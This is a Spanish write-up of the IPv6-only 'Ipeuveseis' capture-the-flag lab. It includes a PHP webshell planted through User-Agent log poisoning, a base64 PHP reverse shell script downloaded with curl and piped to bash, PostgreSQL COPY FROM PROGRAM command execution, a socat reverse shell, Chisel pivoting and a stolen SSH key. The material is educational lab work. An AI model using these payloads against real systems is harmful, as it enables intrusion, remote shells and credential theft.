← Back to list

The Hackers Labs Writeup — Ipeuveseis (Spanish)

A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “Ipeuveseis”.

David Prieto Montero (a.k.a Pyth0nK1d) · 2026-06-26 15:18 · 0 claps · 25.8 min read
#writeup #thehackerslabs #ciberseguridad #offensive-security #pentesting
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity 📊 · Economic Policy

The Hackers Labs Writeup — Ipeuveseis (Spanish)

A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “Ipeuveseis”.

Este laboratorio está catalogado con la dificultad “Experto” y su autor es “**Lenam**”.

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Resumen de contenido sobre este laboratorio

Tags: IPv6

Nota importante: En esta ocasión no hay resumen de contenido. Esto es debido a que en términos generales, este laboratorio se centra en el uso del protocolo IPv6 para abordarlo y completarlo; considero que no hay mejor resumen que este. Tener esto presente es FUNDAMENTAL. Por ello, recomiendo invertir algo de tiempo en entender bien como funciona antes de empezar este laboratorio.

Reconocimiento inicial fallido mediante IPv4

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 10.0.250.19

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 10.0.250.19 -oN allPorts

Tras el escaneo, se puede comprobar que no se detecta ningún puerto TCP abierto.

Por ello, en esta ocasión se prueba con un limitado surtido de puertos UDP que puedan ser de interés. Sin embargo, tampoco se tiene suerte en este sentido.

Intentar escanear todo el rango de puertos UDP además de consumir mucho tiempo y recursos es poco probable que se encuentro un puerto que permita avanzar con este laboratorio.

Por lo que se puede concluir diciendo que no se dispone de ningún puerto abierto.

sudo nmap -sU --top-ports 600 -n -Pn 10.0.250.19

En este punto, se recuerda que el nombre de este laboratorio recuerda el protocolo IPv6.

En resumen, IPv6 (Internet Protocol version 6) es la versión más reciente del protocolo IP utilizado dentro del **modelo OSI en la capa 3 o [capa de red](https://es.wikipedia.org/wiki/Capa_de_red), encargado de identificar los dispositivos y permitir que se comuniquen entre sí a través de una red o de Internet. Fue desarrollado para sustituir a IPv4, ya que las [direcciones disponibles en este último se agotaron en Febrero de 2011](https://es.wikipedia.org/wiki/Agotamiento_de_las_direcciones_IPv4) (hace 15 años a fecha de publicación) debido al crecimiento del número de dispositivos conectados. A pesar de esto, la implantación de IPv6 se está realizando a un paso muy lento a nivel global**.

Esto implica que quizás las interacciones a nivel de red se encuentren limitadas a esta versión del protocolo IP. Por ello, solo queda probar.

Configuración de red NAT con IPv6

En este punto es necesario configurar una interfaz de red que utilice el protocolo IPv6 con un prefijo reservado, asignando tanto la máquina de trabajo como la máquina objetivo a este segmento de red.

Nota importante: Se ha optado por una interfaz de tipo NAT para simplificar la configuración del entorno, pero lo ideal sería asignar una interfaz de tipo Host-Only para la máquina objetivo. Además, a pesar de que el prefijo utilizado está reservado para documentación y ejemplos, se puede comprobar que es posible utilizarse para establecer una red IPv6 local, aunque este no sea su propósito original. Más información sobre este prefijo en el **RFC 3849**.

Crear una nueva interfaz de red NAT
Habilitar IPv6
Prefijo IPv6 utilizado: 2001:db8:cafe::/64
Anunciar ruta por defecto IPv6

Una vez asignada la nueva red a la máquina de trabajo se inicia nuevamente. Tras comprobar la interfaz de red, esta aparece con una dirección IPv6 asignada dentro del prefijo de red indicado en la configuración.

ip a show eth0

Antes de arrancar la máquina objetivo, se establece Wireshark a la escucha de tráfico de red a través de esta interfaz filtrando por tráfico IPv6 únicamente. Una vez la máquina objetivo arranca, se puede comprobar como se realiza la asignación de la dirección IPv6 específica para esta.

Interfaz: eth0
Filtro: ipv6
IPv6 de máquina objetivo: 2001:db8:cafe:0:f009:4454:d583:9bbc

Otra forma de comprobarlo sin usar Wireshark es mostrando la tabla de vecinos IPv6 asociada a esa interfaz en particular.

ip -6 neigh show dev eth0

Arquitectura de red

A continuación, se muestra cuál es la arquitectura de red definida para este laboratorio.

En este caso, este laboratorio cuenta con una serie de 4 máquinas (1 host y 3 contenedores) conectadas entre sí, asignadas en 4 redes distintas.

Cada máquina está configurada como dual-homed, lo que significa que cada una pertenece al menos a dos redes al mismo tiempo usando dos interfaces de red distintas. Además, ambas interfaces están habilitadas simultáneamente, lo que hace posible el movimiento lateral en este ejercicio.

Sin embargo, se han detectado dificultades a la hora de pivotar, lo que posteriormente se ha confirmado que ha sido debido a una serie de restricciones de red impuestas. Además, las redes y servicios operan a través de IPv6, como era de esperar.

Se aporta el siguiente esquema para poder tener una referencia visual a lo largo de la guía y comprobar como progresa el ejercicio.

Reconocimiento inicial mediante IPv6

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 2001:db8:cafe:0:f009:4454:d583:9bbc

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -6 -sS -p- --min-rate 1000 -n -Pn 2001:db8:cafe:0:f009:4454:d583:9bbc -oN allPorts-ipv6

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

sudo nmap -6 -sCV -p 22,8080 -n -Pn 2001:db8:cafe:0:f009:4454:d583:9bbc -oN services-ipv6

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (www-data [hostname: ctf])

En este caso se detecta que hay dos puertos abiertos:

  • Puerto 22 (servicio SSH, OpenSSH)
  • Puerto 8080 (servicio HTTP, Apache httpd)

Tras revisar el puerto 8080 se puede comprobar que aloja un formulario de login para acceder al portal del empleado de una organización denominada “IPv6 Corp”.

URL -> http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080

Tras escanear la web, se detectan una serie de recursos que parecen necesitar autenticación previa para poder accederse.

gobuster dir -u http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 50 -x php,html,txt,zip

Por ello, tras realizar un ataque de diccionario sobre la página de login contra el usuario “admin”, se detectan rápidamente credenciales válidas.

ffuf -u "http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080" -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w "/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-100000.txt" -fs 4536

Tras acceder con las credenciales descubiertas, se obtiene acceso al portal del empleado donde muestra información como el correo, el rol y el departamento al que pertenece. Además este ofrece un par de funcionalidades visibles: System Logs y About Us.

Usuario: admin
Contraseña: <RECORTADO>

URL -> http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080/index.php (Autenticado)

Al acceder a About Us, este muestra una sección con información reservada, ya que revela detalles de la infraestructura interna de la compañía y que es útil de tener en cuenta más adelante.

URL -> http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080/about.php

Network Architecture:

- External Gateway: fd00:dead:beef::/64
- Internal Services Network
- Secure Backup Systems

Mientras que al acceder a System Logs, se puede apreciar una funcionalidad para revisar los logs del servidor Apache que muestra esta misma página. Esto se confirma ya que se muestran los rastros generados por el escaneo/fuzzing realizado previamente sobre este servicio.

URL -> http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080/logs.php

A simple vista, esta funcionalidad parece presentar una vulnerabilidad de envenenamiento de logs (Log Poisoning).

En resumen, el envenenamiento de logs o Log Poisoning es una vulnerabilidad en la que un atacante inserta código malicioso en los archivos de registro (logs) de una aplicación o servidor. Si posteriormente esos logs son procesados o incluidos de forma insegura por la aplicación, el código puede ejecutarse, permitiendo acciones como la ejecución remota de comandos o la obtención de acceso no autorizado al sistema.

En este caso, el dato que se muestra en el log directamente y que puede ser explotado consiste en la cabecera User-Agent de cada petición enviada al servidor web.

Por ello, para comprobarlo y explotar esta vulnerabilidad, primero se realiza una petición modificando la cabecera User-Agent para incluir una webshell escrita en PHP. A continuación, se realiza una nueva petición aprovechando que la webshell se interpreta en la propia página para probar que es posible ejecutar comandos del sistema en el contexto del usuario “www-data”.

curl -s 'http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080/logs.php' -H "Cookie: PHPSESSID=a2069137744e0bdb3b7ac5b9c01d40a5" -H "User-Agent: <?php system(\$_GET['cmd']); ?>" | tail -n 25
curl -s 'http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080/logs.php?cmd=id' -H "Cookie: PHPSESSID=a2069137744e0bdb3b7ac5b9c01d40a5" | tail -n 25

Como es posible ejecutar comandos también es posible acceder al sistema. Por ello, se establece un puerto a la escucha utilizando la herramienta “socat”.

En resumen, socat es una herramienta de red multipropósito que crea conexiones bidireccionales entre dos flujos de datos. Se utiliza para redirigir puertos, crear túneles, transferir datos entre sockets, archivos o dispositivos, y para depurar servicios de red gracias a su gran flexibilidad. También aporta soporte completo para IPv6, permitiendo crear listeners, proxys y túneles nativos en este protocolo sin configuraciones adicionales.

Esta herramienta se va a estar utilizando a lo largo de esta guía, principalmente para establecer listeners y en ciertas situaciones para ejecutar las correspondientes consolas inversas.

socat TCP6-LISTEN:1337,reuseaddr,fork -

En este punto se crea un script escrito en Bash el cual se encarga de ejecutar una consola inversa utilizando PHP, liberando el proceso para evitar posibles estados inconsistentes con el servidor web.

# rev.sh

#!/bin/bash
echo '<?php $s=fsockopen("tcp://[2001:db8:cafe:0:1b3e:33a7:91e2:6b47]",1337);exec("/bin/bash -i <&3 >&3 2>&3"); ?>' | base64 > /tmp/payload.b64
setsid bash -c 'base64 -d /tmp/payload.b64 | php' &>/dev/null &

Establecer un servidor HTTP a la escucha utilizando IPv6 para transferir el script.

python3 -m http.server 80 --bind ::

Por último, se codifica el comando de descarga para evitar problemas en su interpretación a través del parámetro GET “cmd”, aprovechando así la webshell para ejecutarlo.

urlencode 'curl -o /tmp/rev.sh http://[2001:db8:cafe:0:1b3e:33a7:91e2:6b47]/rev.sh'

curl -s -I 'http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080/logs.php?cmd=curl%20-o%20%2Ftmp%2Frev.sh%20http%3A%2F%2F%5B2001%3Adb8%3Acafe%3A0%3A1b3e%3A33a7%3A91e2%3A6b47%5D%2Frev.sh' -H "Cookie: PHPSESSID=a2069137744e0bdb3b7ac5b9c01d40a5"

De esta forma, se puede comprobar que la descarga del script se ha realizado correctamente.

URL -> http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080/logs.php?cmd=ls%20-al%20/tmp/rev.sh

En este punto solo queda ejecutar el script facilitándolo su contenido directamente a un intérprete de comandos.

curl -s -I 'http://[2001:db8:cafe:0:f009:4454:d583:9bbc]:8080/logs.php?cmd=cat%20/tmp/rev.sh%20|%20bash' -H "Cookie: PHPSESSID=a2069137744e0bdb3b7ac5b9c01d40a5"

Al revisar el puerto a la escucha previamente establecido, se puede comprobar que se obtiene acceso a un contenedor denominado “ctf” como el usuario “www-data”.

whoami
id
hostname

Para terminar con el acceso inicial, se actualiza la consola a una TTY.

script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

(en una nueva consola local)
stty size
PRIMER NUMERO -> FILAS
SEGUNDO NUMERO -> COLUMNAS

(en la consola del objetivo)
stty rows <PRIMER NUMERO> cols <SEGUNDO NUMERO>

Movimiento lateral (www-data [hostname: ctf] -> postgres [hostname: db])

Tras revisar los recursos de la web, parece que este utiliza un archivo de configuración.

head index.php
...
require_once '../config/database.php';

Este archivo contiene las credenciales en texto plano para acceder al servidor de base de datos, alojada en este caso en otro contenedor separado.

cat ../config/database.php
...

 * Application User:
 *   Host: fd00:1337:1::20
 *   Port: 5432
 *   Database: database
 *   User: user
 *   Pass: <RECORTADO>
 * 
 * Super Admin (for maintenance only):
 *   User: superadmin
 *   Pass: <RECORTADO>
 */

// Application database credentials
define('DB_HOST', getenv('DB_HOST') ?: 'fd00:1337:1::20');
define('DB_PORT', getenv('DB_PORT') ?: '5432');
define('DB_NAME', getenv('DB_NAME') ?: 'database');
define('DB_USER', getenv('DB_USER') ?: 'user');
define('DB_PASS', getenv('DB_PASS') ?: '<RECORTADO>');

Como parece que incluye las credenciales de un usuario administrador del SGBD PostgreSQL, se prueba a interactuar con el servicio con estas credenciales. Al parecer son válidas y es posible acceder directamente.

psql "postgresql://superadmin@[fd00:1337:1::20]:5432/database"
(introducir la contraseña descubierta de "superadmin")

En este punto se aprovecha para revisar el contenido de las bases de datos existentes. Lo único de interés que se detecta son las credenciales en texto plano de los empleados utilizados para el acceso al portal de empleados. Se obtienen para el caso de que existe la posibilidad de reutilizar credenciales en algún punto.

database=# \l
database=# \c database
database=# \dt
database=# select * from users;
database=# select * from backup_logs;

El nombre de “superadmin” parece obvio, pero igualmente se comprueba el nivel de privilegios que dispone. En este caso efectivamente parece disponer de máximos privilegios sobre este servicio.

database=# SELECT current_setting('is_superuser');

Al disponer de máximos privilegios sobre este servicio, existe una forma de aprovecharlos para ejecutar comandos dentro del sistema subyacente. Tras seguir el ejemplo mostrado en la referencia, se comprueba que es posible ejecutar comandos en el contexto del usuario “postgres”.

Referencia: https://hacktricks.wiki/en/network-services-pentesting/pentesting-postgresql.html#rce-to-program
database=# DROP TABLE IF EXISTS cmd_exec;
database=# CREATE TABLE cmd_exec(cmd_output text);
database=# COPY cmd_exec FROM PROGRAM 'id';
database=# SELECT * FROM cmd_exec;
...
uid=70(postgres) gid=70(postgres) groups=70(postgres)

Para poder obtener una consola inversa, primero es necesario poder tener acceso al servicio de una manera más estable y directa.

Para ello, se decide utilizar Ligolo-NG para pivotar a través del primer contenedor (ctf) y obtener así acceso directo a este servicio.

Sin embargo, tras establecer la interfaz de Ligolo y las configuraciones pertinentes, se puede comprobar que no es posible acceder a este servicio en particular a pesar de obtener respuesta del sistema objetivo. Intentando usar “psql” para interactuar directamente, el servicio simplemente no responde.

ping fd00:1337:1::20 -c 1
...
PING fd00:1337:1::20 (fd00:1337:1::20) 56 data bytes
64 bytes from fd00:1337:1::20: icmp_seq=1 ttl=64 time=0.435 ms

--- fd00:1337:1::20 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.435/0.435/0.435/0.000 ms

sudo nmap -6 -sT -p 5432 -n -Pn fd00:1337:1::20
...
PORT     STATE    SERVICE
5432/tcp filtered postgresql

Tras investigar, se detecta un issue abierto en GitHub, concretamente en el repositorio oficial de Ligolo-NG donde se solicita incluir soporte para IPv6 a esta herramienta. El issue lleva abierto 2 años y un usuario volvió a comentar sobre esta característica hace un año, sin obtener respuesta.

Issue sobre IPv6 en la herramienta Ligolo-NG: https://github.com/nicocha30/ligolo-ng/issues/115

Personalmente me parecería interesante que existiera esta característica. Sin embargo, como la alternativa válida que indica el autor del issue en entornos con IPv6 es Chisel/Proxychains, se hace de esta forma para pivotar.

Nota importante: No se muestra el proceso para establecer Ligolo-NG en este caso ya que no ha sido posible funcionar debido a la limitación que tiene, evitando así incluir contenido que no muestra nada relevante para la resolución de este laboratorio. Aquí es donde se puede apreciar que disponer de más de una herramienta para un mismo propósito SIEMPRE es un acierto :)

Por ello, se obtiene esta herramienta denominada Chisel.

Herramienta utilizada: https://github.com/jpillora/chisel
Descarga de la herramienta: https://github.com/jpillora/chisel/releases

Una vez descargada la herramienta, primero se establece un servidor reverso en la máquina de trabajo, estableciendo el puerto 1234 para este servicio a través de IPv6.

./chisel server -p 1234 --reverse --host "[::]"

Se establece un servidor HTTP a la escucha para realizar la transferencia de la herramienta.

python3 -m http.server 8008 --bind ::

Una vez hecho esto, se transfiere una versión compatible de la herramienta al sistema objetivo y se le indica que establezca un proxy SOCKS reverso para poder acceder a recursos de la red alcanzables por el pivote utilizando el túnel establecido.

cd /var/www/html -> descargar en esta ubicación específica y usarlo aquí
curl -s http://[2001:db8:cafe:0:1b3e:33a7:91e2:6b47]:8008/chisel -o /var/www/html/chisel
chmod +x chisel
ls -al chisel

./chisel client [2001:db8:cafe:0:1b3e:33a7:91e2:6b47]:1234 R:1080:socks &

Por último, se modifica la configuración de proxychains para que tenga las siguientes lineas de configuración sin comentar y el proxy SOCKS de versión 5 a configurar al final del archivo.

sudo mousepad /etc/proxychains4.conf
...
strict_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080

De esta forma es posible a través del túnel configurado acceder directamente al servicio PostgreSQL del contenedor “db”.

proxychains -q psql "postgresql://superadmin@[fd00:1337:1::20]:5432/database"
(introducir la contraseña descubierta de "superadmin")

En este punto, es necesario transferir el binario “socat para poder ejecutar una consola inversa desde este sistema, además de obtener una consola inversa.

Comando para descargar "socat" sin dependencias (estático): wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

Para ello, es necesario realizar dos redirecciones, una para hacer accesible el puerto asociado al servidor HTTP (8008) y otra para capturar la consola inversa (1338).

Estas redirecciones deben realizarse en el pivote (contenedor “ctf”), utilizando la interfaz de red perteneciente al mismo segmento de red que el contenedor “db” en este caso.

# Revisar interfaz con la IP al mismo segmento de red que el contenedor "db"
ip a show eth1
IPv6 asociada al contenedor "ctf" perteneciente al mismo segmento de red que el contenedor "db": fd00:1337:1::10
# Redirección del puerto para transferencia de archivos a través de dicha interfaz
./chisel client [2001:db8:cafe:0:1b3e:33a7:91e2:6b47]:1234 [fd00:1337:1::10]:8008:localhost:8008 &
# Redirección del puerto para captura de consola inversa a través de dicha interfaz
./chisel client [2001:db8:cafe:0:1b3e:33a7:91e2:6b47]:1234 [fd00:1337:1::10]:1338:localhost:1338 &

A continuación se descarga “socat” en la única ubicación que se ha podido ejecutar sin problemas dentro del contenedor “db”.

database=# DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'wget -O /home/postgres/.ssh/socat http://[fd00:1337:1::10]:8008/socat;chmod +x /home/postgres/.ssh/socat;/home/postgres/.ssh/socat -V | head -n 3'; SELECT * FROM cmd_exec;

En este punto, se establece un puerto a la escucha utilizando “socat”.

socat TCP6-LISTEN:1338,reuseaddr,fork -

Por último, se ejecuta una consola inversa utilizando “socat” apuntando a la IP asociada a la interfaz de red perteneciente al mismo segmento de red que el contenedor “db”.

database=# DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM '/home/postgres/.ssh/socat TCP6:[fd00:1337:1::10]:1338 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane &'; SELECT * FROM cmd_exec;

El tráfico es redirigido automáticamente a través del túnel establecido y es posible comprobar que se obtiene acceso al contenedor “db” como el usuario “postgres”.

whoami
id
hostname
tty

Movimiento lateral (postgres [hostname: db] -> backupuser [hostname: backup])

Tras enumerar este contenedor, se detecta una ubicación muy concreta controlada por el usuario “postgres”, el cual parece contener un par de claves SSH asociadas a un usuario denominado “backupuser” que pertenece a un servicio SSH servido a través de un nuevo contenedor.

ls -al /home/postgres/.ssh/id*
cat /home/postgres/.ssh/id_rsa
cat /home/postgres/.ssh/id_rsa.pub

Sin embargo, tras intentar conectarse, se puede observar que se cierra la sesión automáticamente.

ssh -6 -i /home/postgres/.ssh/id_rsa backupuser@fd00:1337:2::30
...
Connection to fd00:1337:2::30 closed by remote host.

Tras intentar realizar una conexión sin forzar una TTY y solicitando una consola Bash como perfil directamente se obtiene acceso y es posible ejecutar comandos.

ssh -6 -T -i /home/postgres/.ssh/id_rsa backupuser@fd00:1337:2::30 "/bin/bash -i"

whoami
id
hostname
tty

En este punto, se requiere poder tener acceso al servicio de una manera más estable y directa.

Por ello, de la misma forma que se ha hecho con el servicio PostgreSQL, se procede a realizar una serie de redirecciones para poder acceder a este servicio a través del túnel establecido.

Sin embargo, revisando con detalle se comprueba que una de las interfaces de red utilizada por el contenedor “backup” pertenece al mismo segmento de red que otra de las interfaces asociadas al contenedor “ctf”.

Esto quiere decir que el contenedor “ctf” encargado de alojar la web y el contenedor “backup” tienen conexión directa a través de un segmento de red distinto, por lo que no es necesario realizar ninguna redirección adicional.

ip a show eth0
ping -c 1 fd00:dead:beef::20

Como ya se tiene visibilidad sobre este contenedor y por lo tanto sobre sus redes, simplemente se utiliza esta interfaz de red para poder acceder directamente a través del túnel usando proxychains.

mousepad ./backupuser-id_rsa -> (pegar y guardar la clave privada encontrada)
chmod 600 ./backupuser-id_rsa
proxychains -q ssh -6 -T -i ./backupuser-id_rsa backupuser@fd00:dead:beef::30 "/bin/bash -i"

whoami
id
hostname
tty -> not a tty

Movimiento lateral (backupuser [hostname: backup] -> lenam [hostname: TheHackersLabs-ipeuveseis])

Al haber accedido a un sistema que, tras interactuar y probar, parece tener varias restricciones establecidas a nivel de red, se decide realizar identificación de nuevos recursos a nivel de red de forma manual.

Primero, se realiza un escaneo en este último segmento de red desde esta posición interna para intentar descubrir nuevos sistemas que pudieran estar ocultos desde una perspectiva externa. En este caso se utiliza un one-liner escrito en Bash para evitar problemas y/o falsos positivos. Además, debido al limitado surtido de herramientas presentes en este contenedor en particular no hay posibilidad de actualizar la consola a una TTY.

Tras finalizar el escaneo, se detecta un nuevo sistema que no se había encontrado ni siquiera consultando los vecinos de la interfaz asociada a esta red.

for h in {1..100}; do ip="fd00:dead:beef::$h"; timeout 2 ping6 -c 1 -W 1 "$ip" >/dev/null 2>&1 && echo "[+] $ip is up"; done
...
[+] fd00:dead:beef::1 is up

Al escanear los puertos, se puede comprobar que tiene abiertos los mismos que la máquina objetivo, pero incluyendo en esta ocasión el puerto 8081.

backup:~$ for port in $(seq 1 65535); do nc -vz [fd00:dead:beef::1] $port 2>/dev/null && echo "[+] Port $port open"; done
...
[+] Port 22 open
[+] Port 8080 open
[+] Port 8081 open

Al interactuar con el puerto 8080, se puede confirmar que es la página de login asociada al portal de empleados encontrado al principio (contenedor “ctf”).

curl -6 http://[fd00:dead:beef::1]:8080 | tail -n 40
...
<h1>🌐 IPv6 Corp</h1>
        <h3 style="text-align: center; margin-bottom: 30px; color: #888;">Employee Portal</h3>

                    <!-- User is not logged in - Show login form -->

Mientras que al interactuar con el puerto 8081, parece que esta asociado a un servicio con el que no se ha interactuado hasta ahora.

Este parece devolver la documentación de una API, donde describe un desafío mostrando todos los recursos disponibles con su sintaxis concreta y descripciones con todo lujo de detalles.

curl -6 http://[fd00:dead:beef::1]:8081

Documentación API (puerto 8081) — Parte 1

Documentación API (puerto 8081) — Parte 1

Documentación API (puerto 8081) — Parte 2

Documentación API (puerto 8081) — Parte 2

Tras revisar detenidamente esta documentación, plantea un desafío técnico el cual consiste en en convertir las direcciones MAC que indica en la descripción a su correspondiente IPv6 siguiendo el formato EUI-64.

En resumen, el formato EUI-64 es el resultado de generar un identificador de 64 bits a partir de una dirección MAC de 48 bits y se usa principalmente para crear direcciones IPv6 link-local automáticas, haciendo que un dispositivo derive su propia dirección IPv6 sin necesidad de configuración manual ni DHCPv6.

Los recursos que expone la API para interactuar con esta son los siguientes:

  • GET /status: Devuelve el estado actual del desafío, indicando si las direcciones MAC ya fueron validadas correctamente o no.
  • POST /validate: Valida todas las direcciones MAC del desafío junto con sus IPv6 generadas en formato EUI‑64. Solo si todas las conversiones son correctas, la API marca el desafío como validado.
  • POST /execute: Permite ejecutar comandos del sistema, pero solo después de que todas las direcciones MAC hayan sido validadas mediante el recurso /validate. El objetivo final del desafío consiste en desbloquear este recurso.

Por ello, primero se accede al recurso “/status” para comprobar que aún quedan validaciones por hacer.

curl -s -6 http://[fd00:dead:beef::1]:8081/status
...
{
  "total_macs": 5,
  "validated_macs": 0,
  "required_macs": 5,
  "status": "pending_validation",
  "message": "Need to validate 5 MAC addresses"
}

En este punto, se desarrolla un script escrito en Python para realizar la conversión de las direcciones MAC facilitadas y que devuelva los resultados en el formato exacto esperado por el recurso encargado de validar las conversiones.

Referencia: https://support.lenovo.com/es/es/solutions/ht509925-how-to-convert-a-mac-address-into-an-ipv6-link-local-address-eui-64
Referencia: https://ccnadesdecero.es/que-es-eui-64/
Referencia: https://www.sapalomera.cat/moodlecf/RS/1/course/module8/8.2.4.5/8.2.4.5.html
Referencia: https://www.geeksforgeeks.org/computer-networks/ipv6-eui-64-extended-unique-identifier/

El script resultante es el siguiente:

# mac-to-eui64ipv6-converter.py

#!/usr/bin/env python3
import sys
import json
import re

def mac_to_eui64(mac):
    """Convertir dirección MAC a dirección IPv6 en formato EUI-64."""
    # Eliminar cualquier separador o espacio en blanco
    mac_clean = re.sub(r'[^0-9a-fA-F]', '', mac).lower()

    # Si la dirección MAC no viene en el formato adecuado, omitir
    if len(mac_clean) != 12:
        return None

    # Dividir la dirección MAC en dos (OUI y NIC)
    oui = mac_clean[0:6]      # Primeros 3 bytes
    nic = mac_clean[6:12]     # Últimos 3 bytes

    # Dar la vuelta al bit U/L (bit 1) del primer byte
    first_byte = int(oui[0:2], 16)
    first_byte ^= 0x02        # XOR con 00000010 para dar la vuelta al bit 1
    oui = format(first_byte, '02x') + oui[2:]

    # Insertar FF:FE en el medio (formato EUI-64)
    eui64 = oui + 'fffe' + nic

    # Dar formato de dirección IPv6 con el prefijo fe80::
    # Agrupar en bloques de 4 caracteres hexadecimales
    ipv6 = f"fe80::{eui64[0:4]}:{eui64[4:8]}:{eui64[8:12]}:{eui64[12:16]}"

    # Devolver dirección IPv6 en formato EUI-64
    return ipv6

def main():
    # Se espera facilitar como argumento un archivo de texto que incluya las direcciones MAC a convertir
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <mac_list.txt>")
        sys.exit(1)

    mac_list = []
    ipv6_list = []

    try:
        with open(sys.argv[1], 'r') as f:
            # Por cada linea del archivo de texto
            for line_num, line in enumerate(f, 1):
                mac = line.strip()
                # Si no hay dirección MAC o se encuentra "comentada", pasar a la siguiente
                if not mac or mac.startswith('#'):
                    continue
                # Añadir a la lista de direcciones MAC convertidas
                mac_list.append(mac)
                # Convertir dirección MAC a dirección IPv6 en formato EUI-64 y devolverla
                ipv6 = mac_to_eui64(mac)

                if ipv6:
                    # Añadir a la lista de direcciones IPv6 tras conversión correcta
                    ipv6_list.append(ipv6)
                else:
                    # Añadir a la lista mensaje de formato inválido tras conversión incorrecta
                    ipv6_list.append(f"invalid_format_line_{line_num}")

    # Gestión de errores           
    except FileNotFoundError:
        print(f"Error: File '{sys.argv[1]}' not found")
        sys.exit(1)
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

    # Establecer la estructura JSON a devolver con los resultados
    output = {
        "mac_addresses": mac_list,
        "ipv6_addresses": ipv6_list
    }

    # Mostrar por pantalla las direcciones MAC y sus conversiones en el formato esperado para el recurso /validate
    print(json.dumps(output, indent=2))

if __name__ == "__main__":
    main()

Se crea un archivo de texto para incluir las direcciones MAC a convertir en el orden especificado; una por línea.

mousepad macs.txt -> pegar las direcciones MAC y guardar
cat macs.txt

A continuación, se ejecuta el script para que automáticamente devuelva en el formato esperado las direcciones MAC con sus direcciones IPv6 correspondientes.

python3 mac-to-eui64ipv6-converter.py macs.txt
...
{
  "mac_addresses": [
    "00:11:22:33:44:55",
    "AA:BB:CC:DD:EE:FF",
    "12:34:56:78:9A:BC",
    "DE:AD:BE:EF:CA:FE",
    "01:23:45:67:89:AB"
  ],
  "ipv6_addresses": [
    "<RECORTADO>",
    "<RECORTADO>",
    "<RECORTADO>",
    "<RECORTADO>",
    "<RECORTADO>"
  ]
}

# Ejecutar el script de la siguiente forma para obtener el resultado sin espacios ni saltos de línea (copiar y pegar como cuerpo de la petición de validación)
python3 mac-to-eui64ipv6-converter.py macs.txt | jq -c .

Por último, solo queda realizar la validación a través del recurso “/validate” facilitando el resultado obtenido. Se puede comprobar que todas las IPv6 facilitadas resultan ser válidas.

curl -s -6 -X POST -H "Content-Type: application/json" http://[fd00:dead:beef::1]:8081/validate -d '{"mac_addresses":["00:11:22:33:44:55","AA:BB:CC:DD:EE:FF","12:34:56:78:9A:BC","DE:AD:BE:EF:CA:FE","01:23:45:67:89:AB"],"ipv6_addresses":["<RECORTADO>","<RECORTADO>","<RECORTADO>","<RECORTADO>","<RECORTADO>"]}'

Como comprobación adicional, se vuelve a acceder al recurso “/status” para comprobar que ya no quedan validaciones por hacer.

curl -s -6 http://[fd00:dead:beef::1]:8081/status
...
{
  "total_macs": 5,
  "validated_macs": 5,
  "required_macs": 5,
  "status": "ready",
  "message": "All MACs validated"
}

Tras probar el recurso “/execute” se puede comprobar que ya es posible ejecutar comandos, en este caso bajo el contexto del usuario “lenam”.

curl -s -6 -X POST -H "Content-Type: application/json" http://[fd00:dead:beef::1]:8081/execute -d '{"command":"id"}'

